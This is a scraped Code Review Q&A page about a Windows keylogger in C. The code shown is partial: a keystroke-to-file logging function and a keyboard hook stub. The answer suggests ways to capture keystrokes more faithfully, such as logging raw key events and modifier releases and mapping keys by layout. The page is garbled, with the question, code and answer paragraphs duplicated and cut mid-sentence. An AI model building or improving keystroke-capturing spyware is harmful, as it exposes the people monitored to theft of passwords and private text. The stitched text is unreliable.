patterncModerate
Windows keylogger in C
Viewed 0 times
keyloggerwindowsstackoverflow
Problem
I have had this keylogger code for a while now (a few years*), and I figured I would put it up for review. Here is what I would like reviewed (in order):
-
Portability - right now, this program can only work on Windows systems. In what ways can I make this more portable? (I feel like I would have to go digging for POSIX functions, but I'm not sure which ones would suit my needs.)
-
Bugs - when I built this code, it ran as intended. There may have been bugs that I did not catch, and I would like to know what those are (and how to fix them).
-
Refactoring - I feel as if I can simplify this down a lot. Maybe I'm wrong, but is there a better/easier way to translate a key press to a printable, human-readable character?
-
Usability - do you think there would be a better way I could write data to my logs so that it would be more readable upon analysis?
*It may not be up to my coding standards as of now. Don't think of me as a hypocrite if I have gone against my own advice!
keylogger.c:
```
#include
#include
#include
#include
#define VK_VOLUME_MUTE 0xAD
#define VK_VOLUME_DOWN 0xAE
#define VK_VOLUME_UP 0xAF
int isCapsLock(void)
{
return (GetKeyState(VK_CAPITAL) & 0x0001);
}
void log(char s1[])
{
FILE* file = fopen(getFileName(), "a+");
int i = 0;
fputs(s1, file);
i++;
if (i == 50)
{
fputc('\n', file);
i = 0;
}
fclose(file);
}
/* An application-defined callback function used with the SetWindowsHookEx function.
The system calls this function every time a new keyboard input event is about to be posted into a thread input queue.
1st Parameter nCode - A code the hook procedure uses to determine how to process the message.
2nd Parameter wParam - The identifier of the keyboard message. This parameter can be one of the
following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
3rd Parameter lParam: A pointer to a KBDLLHOOKSTRUCT structure.
*/
LRESULT CALLBACK
LowLevelKeyboardProc(int nCod
-
Portability - right now, this program can only work on Windows systems. In what ways can I make this more portable? (I feel like I would have to go digging for POSIX functions, but I'm not sure which ones would suit my needs.)
-
Bugs - when I built this code, it ran as intended. There may have been bugs that I did not catch, and I would like to know what those are (and how to fix them).
-
Refactoring - I feel as if I can simplify this down a lot. Maybe I'm wrong, but is there a better/easier way to translate a key press to a printable, human-readable character?
-
Usability - do you think there would be a better way I could write data to my logs so that it would be more readable upon analysis?
*It may not be up to my coding standards as of now. Don't think of me as a hypocrite if I have gone against my own advice!
keylogger.c:
```
#include
#include
#include
#include
#define VK_VOLUME_MUTE 0xAD
#define VK_VOLUME_DOWN 0xAE
#define VK_VOLUME_UP 0xAF
int isCapsLock(void)
{
return (GetKeyState(VK_CAPITAL) & 0x0001);
}
void log(char s1[])
{
FILE* file = fopen(getFileName(), "a+");
int i = 0;
fputs(s1, file);
i++;
if (i == 50)
{
fputc('\n', file);
i = 0;
}
fclose(file);
}
/* An application-defined callback function used with the SetWindowsHookEx function.
The system calls this function every time a new keyboard input event is about to be posted into a thread input queue.
1st Parameter nCode - A code the hook procedure uses to determine how to process the message.
2nd Parameter wParam - The identifier of the keyboard message. This parameter can be one of the
following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
3rd Parameter lParam: A pointer to a KBDLLHOOKSTRUCT structure.
*/
LRESULT CALLBACK
LowLevelKeyboardProc(int nCod
Solution
You register keydown events for Control and Alt keys, but don't note when they are released. Therefore, you would not be able to distinguish between r and Controlr by reading the transcript.
Those are some huge
Fundamentally, though, you've written a keycode-to-symbol map, which means you've reimplemented a hard-coded US English keyboard layout. That's not correct in the general case. You actually have two good options:
Based on the Single Responsibility Principle, I'd choose the first option: let the keylogger log the key events, and write a separate interpretation tool.
Those are some huge
switch statements. I would consider making some lookup tables instead. There are fewer than 255 key codes defined, and their numeric values are well documented. Handle the a-z cases programatically, then use lookup tables for the rest. Define a "neutral" table and a table for values with Shift active. Performance might not be any better, and there will be some repetition between the tables, but I think the code would still be more readable.Fundamentally, though, you've written a keycode-to-symbol map, which means you've reimplemented a hard-coded US English keyboard layout. That's not correct in the general case. You actually have two good options:
- Log the hardware-level events: the keydown/keyup events, timings, and keycodes. Write the output in a not-very-human-readable numeric format. You could write a separate interpretation tool translate those events to text.
- Log the logical symbols that should be produced according to the keyboard mapping or input method that the user has selected in the Control Panel. You should be able to use functions such as
GetKeyNameText()to help you. In general, the problem is much more complicated, though. For example, if the user has activated the Cangjie input method, and types the keyboard sequence hqiSpace, the resulting character that is produced should be "我" (U+6211). I'm not familiar with how you can hook into the Windows Input Method system.
Based on the Single Responsibility Principle, I'd choose the first option: let the keylogger log the key events, and write a separate interpretation tool.
Context
StackExchange Code Review Q#46980, answer score: 16
Revisions (0)
No revisions yet.